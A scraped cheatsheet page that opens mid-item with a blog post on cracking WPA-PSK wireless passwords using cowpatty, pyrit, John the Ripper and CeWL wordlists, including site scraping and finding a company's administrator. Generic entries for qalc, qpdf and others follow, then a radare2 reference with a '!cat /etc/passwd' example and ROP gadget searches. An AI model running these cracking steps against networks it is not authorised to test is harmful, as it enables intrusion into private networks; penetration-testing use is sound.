-d == path to dictionary we generated with genpmk
-r == path to the capture file we generated with airodump-ng
-s == ESSID of the target AP(The name should be identical to the target AP)
#########################
WPA JTR/Pyrit/cowpatty uses and cracking interoperability
Below is a bunch of ways to inter-operate between pyrit/cowpatty/jtr with various attacking and exporting techniques. I recently figured these out while having to juggle all kinds of cracking issues. A few weeks ago I was performing a wireless pentest and came up across a rather standard WPA PSK network. However, this came with issues that spawned into learning a bunch of new command line usages for various tools in conjunction with one another.
For the end goal of a simple WPA key retrieval. The issue I was having which required me to expand my wireless toolset was that programs across various operating systems were behaving differently or just plain not working at all. For example my cracker of choice is generally CowPatty but for some reason and I hope one of the readers on this blog can tell me why, CowPatty was behaving differently between my OSX, Standard Linux distro and my BT4 R2 Vmware. This is also the reason for the last post on GPU CUDA via OSX. So below are various ways to use different programs for WPA cracking related gymnastics of sorts.
Standard Cracking:
Firstly we have our standard way of cracking WPA, we can use CowPatty to determine if we have a handshake and then crack the password.
Check if we have a handshake with –c option:
cowpatty -r Capture.cap -c -s SSID
cowpatty 4.6 - WPA-PSK dictionary attack.
Collected all necessary data to mount crack against WPA/PSK passphrase
Try to Crack the password:
Now if we are sure we have a valid handshake we can crack the hash with a dictionary file. Using the following cmdline.
cowpatty -r Capture.cap -f dictionary.txt -s SSID
Starting dictionary attack. Please be patient.
key no. 1000: Anglo-spanish
Unable to identify the PSK from the dictionary file. Try expanding your
passphrase list, and double-check the SSID. Sorry it did not work out.
1786 passphrases tested in 8.04 seconds: 222.04 passphrases/second
My problem was that CowPatty in anything other then my BT4 r2 vmware was not properly finding the handshake.
cowpatty -r Capture.cap -c -s SSID
End of pcap capture file, incomplete four-way handshake exchange. Try using a
different capture.
Hmm CowPatty is misbehaving on my regular machine, which is where I would want to pre-compute hashes and perform my cracking due to more memory and cores available on my primary system. I do not want to crack any passwords inside of a vmware unless its precomputed and I certainly do not want to try to compute hashes on a vmare either. So I decided to check another popular WPA cracking tool Pyrit against the password hash file.
Using Pyrit for cracking instead:
pyrit -r Capture.cap -i dictionary.txt attack_passthrough
This command was also failing on every single system for unknown reasons at the time. So I decided I was going to have to use Pyrit to Precompute hashes and then use those precomputed hashes inside of a vmware on cowpatty. Interestingly enough you can export pyrit hashtables in various formats to be used with airolib and cowpatty.
Pyrit Usage for Hashtables and cracking:
Pyrit is extremely useful for a few reasons, most importantly being that you can resume functionality such as creating hashtables if for some reason you have to stop an operation and unplug or shutdown your machine. You can simply quit pyrit like any other program, but pyrit will remember where it left off in its hashtable computing. No need to leave your machine in one place running for hours or days. Simply quit and resume at will.
Create a database of SSID’s for attack:
Pyrit –e essid create_essid
Add dictionary words to be hashed:
Pyrit –i dictionaryFile import_passwords
These 2 commands will create a dictionary of SSID and password values used in a standard attack or for precompution of hashtables. Another nice feature of pyrit is that you can keep running the dictionary command to add in as many dictionary files as you have available. Pyrit will remove duplicate entries and will also remove passwords that cannot be used in a WPA protected network such as passwords below 8 characters. This is fantastic, as you won’t waste processor cycles on passwords that are useless.
Create hashtables:
Pyrit batch
The previous command will create hashtables of everything in the database for the given SSID values in the database. At any point during this operation you can quit and resume simply by killing the operation and typing in the previous command again, pyrit will pick up where it left off. Once this is completed you can directly use Pyrit to attack a handshake or in my case pyrit was not recognizing the capture file so I had to export the database in cowpatty format with the following command.
Using pyrit to crack:
Pyrit –r capture.cap attack_db
Exporting different hashtable formats:
As I stated pyrit cracking didn’t work for me due to complications on the way pyrit parsed the capture file, the pyrit command would fail every time and not recognize the handshake. So I exported the hashtable database for use with cowpatty.
Cowpatty export:
Pyrit –e essid -o hashes.cow export_cowpatty
Note that you can also export to airolib format if you prefer using the aircrack suite of tools to do your pre-computed cracking just switch out the export_cowpatty command for the airolib command. Until I got pyrit working correctly I preferred to use cowpatty so I exported to my preferred format.
CowPatty File Size Issue:
Apparently when using 32 bit systems and hash file sizes over 2 gigs cowpatty will not work. So when I tried to directly attack the WPA PSK with the hashfile I was given an error “Could not stat hashfile. Check file path”.
cowpatty -r Capture.cap -d hashes.cow –s SSID
cowpatty 4.6 - WPA-PSK dictionary attack.
cowpatty: Could not stat hashfile. Check file path.
File Size WorkAround:
One way around this annoying issue was to pipe your hashfile into the STDIN value of CowPatty by outputting the hashfile with the unix “cat” command. You can do this by specifying the dash character as the input dictionary file in CowPatty. I found this to be very useful for a few reasons I will show next.
CowPatty with STDIN:
Cat hashes.cow | cowpatty –d - -r capture.cap -s SSID
Using the previous command you can bypass the filesize restriction and use precomputed hashfiles of larger sizes J But the STDIN can also be used for other cracking methods such as running custom bruteforcing of password files with JTR. By taking a dictionary and running it through the rules option of JTR additional characters such as numbers will be added to each word in your dictionary file. Although this may not be feasible do to the slow nature of password cracking without precomputed hashes, it is an option if dictionary files are not finding the password for you.
JTR STDOUT with CowPatty STDIN:
In the john directory type:
./john --wordlist=wordlist --stdout –rules |cowpatty –f - -r capture.cap -s SSID
Custom password list creation:
Another option would be to create a custom password list out of your current password list using JTR rules and then batch them with pyrit shown earlier in this blog post. You can create a custom password list by just using STDOUT to a new password file.
In the john directory type:
./john --wordlist=dictionary.txt --stdout --rules > newpasslist.txt
Then add these new passwords to your pyrit dictionary and re-batch the new passwords with the same commands show previously. This may help in situations where users choose passwords such as password4. Which isn’t a dictionary word but is certainly an easy password to guess.
Custom passwords via webpages:
You could also create yourself custom passwords lists via scraping the companies website or the system administrators personal webpage’s. Its not to hard to find out who the administrator is, make a few phone calls or check the companies webpage for listings of employees. Once a page is found you can scrape the page for password with a tool by the name of CEWL. Although I don’t condone the use of Ruby you may catch a weird disease or feel really dirty after using it yuuuk ruby, this is a useful tool for creating a custom password list.
./cewl.rb -d 1 -w passwordList.txt website.com
Cewl will create a custom password list named “passwordList.txt” which you can then run through john to add more passwords with numbers before batching the new passwords with pyrit. Pyrit will get rid of the useless passwords for you during password import.
The pyrit cracking issue:
I belive the cracking and parsing issue in pyrit was due to the version of pyrit that I was using. For me the only version of pyrit that functions correctly is the SVN version of pyrit currently available on the pyrit site. Any other version failed to work correctly for both parsing and for GPU cracking... See the previous post on this blog for getting your OSX machine to work with GPU and Pyrit. What this will do for you is allow you to efficiently crack passwords in pyrit with much quicker speeds even when passwords are not precomputed.
############################
#==============================##==============================#
# CMD PYRIT #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command pyrit in a clear format. This allows users to quickly access the needed information for pyrit without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for pyrit are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
138 - 🖥️qalc
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the qalc command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ █████╗ ██╗ ██████╗
# ██╔═══██╗██╔══██╗██║ ██╔════╝
# ██║ ██║███████║██║ ██║
# ██║▄▄ ██║██╔══██║██║ ██║
# ╚██████╔╝██║ ██║███████╗╚██████╗
# ╚══▀▀═╝ ╚═╝ ╚═╝╚══════╝ ╚═════╝
qalc "145Gibyte / 1.35(Mibyte/second) to day"
# How many days will it take to transfer 145GiB at 1.35MiB/sec? Use qalc!
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command qalc in a clear format. This allows users to quickly access the needed information for qalc without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for qalc are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
139 - 🖥️qlist
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the qlist command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██╗ ██╗███████╗████████╗
# ██╔═══██╗██║ ██║██╔════╝╚══██╔══╝
# ██║ ██║██║ ██║███████╗ ██║
# ██║▄▄ ██║██║ ██║╚════██║ ██║
# ╚██████╔╝███████╗██║███████║ ██║
# ╚══▀▀═╝ ╚══════╝╚═╝╚══════╝ ╚═╝
# Print compile time in seconds package by package (Gentoo Distros)
qlist -I | xargs qlop -t |sort -t" " -rnk2
# Sample outpt:
# qtwebengine: 12644 seconds average for 5 merges
# libreoffice: 12069 seconds average for 4 merges
# qtwebkit: 11395 seconds average for 3 merges
# kbd: 5831 seconds average for 1 merges
# clang: 4839 seconds average for 2 merges
# clang: 4839 seconds average for 2 merges
# webkit-gtk: 4406 seconds average for 3 merges
# firefox: 4202 seconds average for 9 merges
# llvm: 3765 seconds average for 7 merges
# llvm: 3765 seconds average for 7 merges
# gcc: 3448 seconds average for 6 merges
# polkit-gnome: 2705 seconds average for 3 merges
# gnupg: 2445 seconds average for 5 merges
# qtquickcontrols2: 2377 seconds average for 2 merges
# rust: 2222 seconds average for 10 merges
# rust: 2222 seconds average for 10 merges
# kirigami: 1927 seconds average for 5 merges
# Calculate your total world compile time. (Gentoo Distros)
# From Gentoo Forum, greetings to rudregues & steveL.
qlist -I | xargs qlop -t | awk '{ if ($2 < 5400) secs += $2} END { printf("%dh:%dm:%ds\n", secs / 3600, (secs % 3600) / 60, secs % 60); }'
# Sample Output:
# 48h:4m:20s
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command qlist in a clear format. This allows users to quickly access the needed information for qlist without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for qlist are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
140 - 🖥️qlmanage
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the qlmanage command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██╗ ███╗ ███╗ █████╗ ███╗ ██╗ █████╗ ██████╗ ███████╗
# ██╔═══██╗██║ ████╗ ████║██╔══██╗████╗ ██║██╔══██╗██╔════╝ ██╔════╝
# ██║ ██║██║ ██╔████╔██║███████║██╔██╗ ██║███████║██║ ███╗█████╗
# ██║▄▄ ██║██║ ██║╚██╔╝██║██╔══██║██║╚██╗██║██╔══██║██║ ██║██╔══╝
# ╚██████╔╝███████╗██║ ╚═╝ ██║██║ ██║██║ ╚████║██║ ██║╚██████╔╝███████╗
# ╚══▀▀═╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝ ╚═════╝ ╚══════╝
# qlmanage
#
# QuickLook server tool (Mac OS X)
# Display QuickLook for one or multiple files:
qlmanage -p filename filename2
# Compute 300px wide PNG thumbnails of all JPEGs in the current directory and put them in a directory:
qlmanage *.jpg -t -s 300 path/to/directory
# Reset Quicklook:
qlmanage -r
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command qlmanage in a clear format. This allows users to quickly access the needed information for qlmanage without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for qlmanage are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
141 - 🖥️qpdf
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the qpdf command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██████╗ ██████╗ ███████╗
# ██╔═══██╗██╔══██╗██╔══██╗██╔════╝
# ██║ ██║██████╔╝██║ ██║█████╗
# ██║▄▄ ██║██╔═══╝ ██║ ██║██╔══╝
# ╚██████╔╝██║ ██████╔╝██║
# ╚══▀▀═╝ ╚═╝ ╚═════╝ ╚═╝
# Combine several PDFs into one
qpdf --empty --pages .pdf -- out.pdf
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command qpdf in a clear format. This allows users to quickly access the needed information for qpdf without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for qpdf are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
142 - 🖥️qrify
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the qrify command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██████╗ ██╗███████╗██╗ ██╗
# ██╔═══██╗██╔══██╗██║██╔════╝╚██╗ ██╔╝
# ██║ ██║██████╔╝██║█████╗ ╚████╔╝
# ██║▄▄ ██║██╔══██╗██║██╔══╝ ╚██╔╝
# ╚██████╔╝██║ ██║██║██║ ██║
# ╚══▀▀═╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝
# qrify (Bash-Snippets)
# converts strings or urls into a qr code
# Encode a single lined string into a qr code
qrify This is an example string
# Encode a multiple lined string into a qr code
qrify -m "This should be \n two lines"
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command qrify in a clear format. This allows users to quickly access the needed information for qrify without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for qrify are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
143 - 🖥️r2
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the r2 command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██████╗
# ██╔══██╗╚════██╗
# ██████╔╝ █████╔╝
# ██╔══██╗██╔═══╝
# ██║ ██║███████╗
# ╚═╝ ╚═╝╚══════╝
# Command Line options
-L: List of supported IO plugins
-q: Exit after processing commands
-w: Write mode enabled
-i: Interprets a r2 script
-A: Analize executable at load time (xrefs, etc)
-n: Bare load. Do not load executable info as the entrypoint
-c'cmds': Run r2 and execute commands (eg: r2 -wqc'wx 3c @ main')
-p: Creates a project for the file being analyzed (CC add a comment when opening a file as a project)
-: Opens r2 with the malloc plugin that gives a 512 bytes memory area to play with (size can be changed); Similar to r2 malloc://512
-----------------------------------------------------------------------------------------------------------------------------
# Configuration properties
e: Returs configuration properties
e <property>: Checks a specific property:
e asm.tabs => false
e <property>=<value>: Change property value
e asm.arch=ppc
e? help about a configuration property
e? cmd.stack
# Show comments at right of disassembly if they fit in screen
e asm.cmtright=true
# Shows pseudocode in disassembly. Eg mov eax, str.ok = > eax = str.ok
e asm.pseudo = true
# Display stack and register values on top of disasembly view (visual mode)
e cmd.stack = true
# Solarized theme
eco solarized
# Use UTF-8 to show cool arrows that do not look like crap :)
e scr.utf8 = true
-----------------------------------------------------------------------------------------------------------------------------
# Basic Commands
; Command chaining: x 3;s+3;pi 3;s+3;pxo 4;
| Pipe with shell commands: pd | less
! Run shell commands: !cat /etc/passwd
!! Escapes to shell, run command and pass output to radare buffer
Note: The double exclamation mark tells radare to skip the plugin list to find an IO plugin handling this
command to launch it directly to the shell. A single one will walk through the io plugin list.
` Radare commands: wx `!ragg2 -i exec`
~ grep
~! grep -v
~[n] grep by columns afl~[0]
~:n grep by rows afl~:0
<command>~.. less/more mode
+-------------------------------------------------------------------
pi~mov,eax ; lines with mov or eax
pi~mov&eax ; lines with mov and eax
pi~mov,eax:6 ; 6 first lines with mov or eax
pd 20~call[0]:0 ; grep first column of the first row matching 'call'
+-------------------------------------------------------------------
.cmd Interprets command output
+-------------------------------------------------------------------
is* prints symbolos
.is* interprets output and define the symbols in radare (normally they are already loaded if r2 was not invoked with -n)
+-------------------------------------------------------------------
.. repeats last commands (same as enter \n)
( Used to define and run macros
$ Used to define alias
$$: Resolves to current address
Offsets (@) are absolute, we can use $$ for relative ones @ $$+4
? Evaluate expression
+-------------------------------------------------------------------
[0x00000000]> ? 33 +2
35 0x23 043 0000:0023 35 00100011 35.0 0.000000
Note: | and & need to be escaped
+-------------------------------------------------------------------
?$? Help for variables used in expressions
$$: Here
$s: File size
$b: Block size
$l: Opcode length
$j: When $$ is at a jmp, $j is the address where we are going to jump to
$f: Same for jmp fail address
$m: Opcode memory reference (e.g. mov eax,[0x10] => 0x10)
??? Help for ? command
?i Takes input from stdin. Eg ?i username
?? Result from previous operations
?s from to [step]: Generates sequence from to every
?p: Get physical address for given virtual address
?P: Get virtual address for given physical one
?v Show hex value of math expr
+-------------------------------------------------------------------
?v 0x1625d4ca ^ 0x72ca4247 = 0x64ef968d
?v 0x4141414a - 0x41414140 = 0xa
+-------------------------------------------------------------------
?l str: Returns the length of string
@@: Used for iteractions
+-------------------------------------------------------------------
wx ff @@10 20 30 Writes ff at offsets 10, 20 and 30
wx ff @@`?s 1 10 2` Writes ff at offsets 1, 2 and 3
wx 90 @@ sym.* Writes a nop on every symbol
+-------------------------------------------------------------------
# Positioning
s address: Move cursor to address or symbol
s-5 (5 bytes backwards)
s- undo seek
s+ redo seek
# Block Size
b size: Change block size
# Analyze
aa: Analyze all (fcns + bbs) same that running r2 with -A
ahl <length> <range>: fake opcode length for a range of bytes
ad: Analyze data
ad@rsp (analize the stack)
+ Normal mode
af: Analyze functions
afl: List all functions
number of functions: afl~?
afi: Returns information about the functions we are currently at
afr: Rename function: structure and flag
afr off: Restore function name set by r2
afn: Rename function
afn strlen 0x080483f0
af-: Removes metadata generated by the function analysis
af+: Define a function manually given the start address and length
af+ 0xd6f 403 checker_loop
axt: Returns cross references to (xref to)
axf: Returns cross references from (xref from)
+ Visual mode
d, f: Function analysis
d, u: Remove metadata generated by function analysis
+ Opcode analysis
ao x: Analize x opcodes from current offset
a8 bytes: Analize the instruction represented by specified bytes
# Information
iI: File info
iz: Strings in data section
izz: Strings in the whole binary
iS: Sections
iS~w returns writable sections
is: Symbols
is~FUNC exports
il: Linked libraries
ii: Imports
ie: Entrypoint
+ Mitigations
i~pic : check if the binary has position-independent-code
i~nx : check if the binary has non-executable stack
i~canary : check if the binary has canaries
# Print
psz n @ offset: Print n zero terminated String
px n @ offset: Print hexdump (or just x) of n bytes
pxw n @ offset: Print hexdump of n words
pxw size@offset prints hexadecimal words at address
pd n @ offset: Print n opcodes disassambled
pD n @ offset: Print n bytes disassembled
pi n @ offset: Print n instructions disassambeled (no address, XREFs, etc. just instrunctions)
pdf @ offset: Print disassembled function
pdf~XREF (grep: XREFs)
pdf~call (grep: calls)
pcp n @ offset: Print n bytes in python string output.
pcp 0x20@0x8048550
import struct
buf = struct.pack ("32B",
0x55,0x89,0xe5,0x83,0xzz,0xzz,0xzz,0xzz,0xf0,0x00,0x00,
0x00,0x00,0xc7,0x45,0xf4,0x00,0x00,0x00,0x00,0xeb,0x20,
0xc7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xzz,0xzz)
p8 n @ offset: Print n bytes (8bits) (no hexdump)
pv: Print file contents as IDA bar and shows metadata for each byte (flags , ...)
pt: Interpret data as dates
pf: Print with format
pf.: list all formats
p=: Print entropy ascii graph
# Write
wx: Write hex values in current offset
wx 123456
wx ff @ 4
wa: Write assembly
wa jnz 0x400d24
wc: Write cache commit
wv: Writes value doing endian conversion and padding to byte
wo[x]: Write result of operation
wow 11223344 @102!10
write looped value from 102 to 102+10
0x00000066 1122 3344 1122 3344 1122 0000 0000 0000
wox 0x90
XOR the current block with 0x90. Equivalent to wox 0x90 $$!$b (write from current position, a whole block)
wox 67 @4!10
XOR from offset 4 to 10 with value 67
wf file: Writes the content of the file at the current address or specified offset (ASCII characters only)
wF file: Writes the content of the file at the current address or specified offset
wt file [sz]: Write to file (from current seek, blocksize or sz bytes)
Eg: Dump ELF files with wt @@ hit0* (after searching for ELF headers: \x7fELF)
woO 41424344 : get the index in the De Bruijn Pattern of the given word
# Flags
f: List flags
f label @ offset: Define a flag `label` at offset
f str.pass_len @ 0x804999c
f -label: Removes flag
fr: Rename flag
fd: Returns position from nearest flag (looking backwards). Eg => entry+21
fs: Show all flag spaces
fs flagspace: Change to the specified flag space
fe loop and create numbered flags:
1. fs demo_flagspace
2. fe demo_flagspace @@=`pdf~jne[1]`
# Yank & Paste
y n: Copies n bytes from current position
y: Shows yank buffer contentent with address and length where each entry was copied from
yp: Prints yank buffer
yy offset: Paste the contents of the yank buffer at the specified offset
yt n target @ source: Yank to. Copy n bytes fromsource to target address
# Visual Mode
q: Exits visual mode
hjkl: move around (or HJKL) (left-down-up-right)
o: go/seek to given offset
?: Help
.: Seek EIP
<enter>: Follow address of the current jump/call
:cmd: Enter radare commands. Eg: x @ esi
d[f?]: Define cursor as a string, data, code, a function, or simply to undefine it.
dr: Rename a function
df: Define a function
v: Get into the visual code analysis menu to edit/look closely at the current function.
p/P: Rotate print (visualization) modes
hex, the hexadecimal view
disasm, the disassembly listing
Use numbers in [] to follow jump
Use "u" to go back
debug, the debugger
words, the word-hexidecimal view
buf, the C-formatted buffer
annotated, the annotated hexdump.
c: Changes to cursor mode or exits the cursor mode
select: Shift+[hjkl]
i: Insert mode
a: assembly inline
A: Assembly in visual mode
y: Copy
Y: Paste
f: Creates a flag where cursor points to
<tab> in the hexdump view to toggle between hex and strings columns
V: View ascii-art basic block graph of current function
W: WebUI
x, X: XREFs to current function. ("u" to go back)
t: track flags (browse symbols, functions..)
gG: Begging or end of file
HUD
_ Show HUD
backspace: Exits HUD
We can add new commands to HUD in: radare2/shlr/hud/main
;[-]cmt: Add/remove comment
m<char>: Define a bookmark
'<char>: Go to previously defined bookmark
# ROP
/R opcodes: Search opcodes
/R pop,pop,ret
/Rl opcodes: Search opcodes and print them in linear way
/Rl jmp eax,call ebx
/a: Search assembly
/a jmp eax
pda: Returns a library of gadgets that can be use. These gadgets are obtained by disassmbling byte per byte instead of obeying to opcode leng
e search.roplen = 4 (change the depth of the search, to speed-up the hunt)
# Searching
/ bytes: Search bytes
\x7fELF
+-------------------------------------------------------------------
push ebp
mov ebp, esp
Opcodes: 5589e5
/x 5589e5
[# ]hits: 54c0f4 < 0x0804c600 hits = 1
0x08049f70 hit0_0 5589e557565383e4f081ec
0x0804c31a hit0_1 5589e583ec18c704246031
0x0804c353 hit0_2 5589e583ec1889442404c7
0x0804c379 hit0_3 5589e583ec08e87cffffff
0x0804c3a2 hit0_4 5589e583ec18c70424302d
pi 5 @@hit* (Print 5 first instructions of every hit)
+-------------------------------------------------------------------
Its possible to run a command for each hit. Use the cmd.hit property:
e cmd.hit=px
# Comments and defines
Cd [size]: Define as data
C- [size]: Define as code
Cs [size]: Define as String
Cf [size]: Define as struct
We can define structures to be shown in the disassmbly
CC: List all comments or add a new comment in console mode
C* Show all comments/metadata
CC <comment> add new comment
CC- remove comment
# Magic files
pm: Print Magic files analysis
[0x00000000]> pm
0x00000000 1 ELF 32-bit LSB executable, Intel 80386, version 1
